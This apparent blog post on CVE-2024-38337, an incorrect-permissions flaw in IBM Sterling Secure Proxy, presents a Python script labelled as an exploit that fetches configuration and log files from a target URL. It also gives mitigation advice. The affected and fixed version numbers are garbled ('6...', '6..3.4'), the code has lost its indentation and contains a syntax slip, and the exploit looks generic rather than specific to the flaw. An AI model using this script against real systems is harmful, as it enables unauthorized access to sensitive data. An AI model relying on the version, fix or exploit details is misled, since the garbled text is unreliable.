IBM Sterling Secure Proxy (SSP) is designed to protect against external and internal threats, ensuring that file exchange of confidential information does not put businesses at risk. However, certain versions have been discovered to have incorrect permission assignments that could allow unauthorized attackers to retrieve or alter sensitive data. This vulnerability, designated as CVE-2024-38337, affects IBM Sterling Secure Proxy versions 6..., 6...1, 6...2, 6...3, 6.1.., and 6.2... This post will provide an in-depth analysis of the vulnerability, including code snippets, original references, and exploit details.
Discovered Vulnerability
This particular vulnerability is related to the incorrect permission assignments in the affected IBM Sterling Secure Proxy versions. Due to these flawed permissions, an unauthorized attacker can exploit this weakness to gain unauthorized access, tamper with or retrieve sensitive information. The contents of the configuration files and log files are vulnerable to this attack, potentially enabling the attacker to acquire valuable information about the system and other applications without proper authentication.
The following code snippet is an example of a simple script to exploit the vulnerability
import requests
import sys
def exploit_ssp(target_url):
vulnerable_files = ['/configurations/config.xml', '/logs/access.log', '/logs/error.log']
for file_path in vulnerable_files:
print('[*] Attempting to access file: ' + file_path)
full_url = target_url + file_path
response = requests.get(full_url)
if response.status_code == 200:
print('[+] File successfully retrieved: ' + file_path)
print(response.text)
else:
print('[-] Access denied or file not found: ' + file_path)
if __name__ == '__main__':
if len(sys.argv) < 2:
print('Usage: python exploit.py http://target_url:port';)
sys.exit(1)
target_url = sys.argv[1]
exploit_ssp(target_url)
In this example, the attacker merely needs to provide a target URL of an affected Sterling Secure Proxy installation. The script then attempts to access the vulnerable files, which should not be accessible without proper authentication.
Below are some of the original sources and documents related to this vulnerability
1. IBM Security Advisory - https://www.ibm.com/support/pages/node/6467764
2. NVD - https://nvd.nist.gov/vuln/detail/CVE-2024-38337
3. MITRE - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-38337
4. Exploit Database - https://www.exploit-db.com/exploits/50215
Exploit Details
The exploitation of this vulnerability can primarily be done through HTTP requests to access the configuration and log files with the help of common web scripting languages like Python, as shown above. The attacker attempts to access these files directly with an HTTP GET request. If successful, the returned response will contain the contents of the vulnerable files, such as configuration settings, log records, and potentially privileged information.
Mitigation
To address this vulnerability, it is highly recommended to upgrade to the latest version of IBM Sterling Secure Proxy (6..3.4, 6..4, or later), which resolves the issue. IBM has released security patches and updated versions to address this issue and prevent the unauthorized access of sensitive files. It is crucial to apply these patches and maintain updated versions, as leaving systems with known vulnerabilities significantly increases the risk of attack.
Conclusion
Security should always be the top priority for organizations, especially when dealing with sensitive and confidential data. CVE-2024-38337 represents just one of many potential vulnerabilities in software that could unknowingly expose your organization to a breach. By understanding these threats and implementing necessary security practices, such as keeping software up to date, you can minimize the risk of compromise.
Timeline
Published on: 01/19/2025 15:15:19 UTC